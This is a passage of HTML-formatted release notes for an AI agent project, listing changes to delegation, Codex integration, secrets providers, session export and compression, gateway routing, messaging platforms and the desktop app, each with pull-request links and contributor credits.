class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
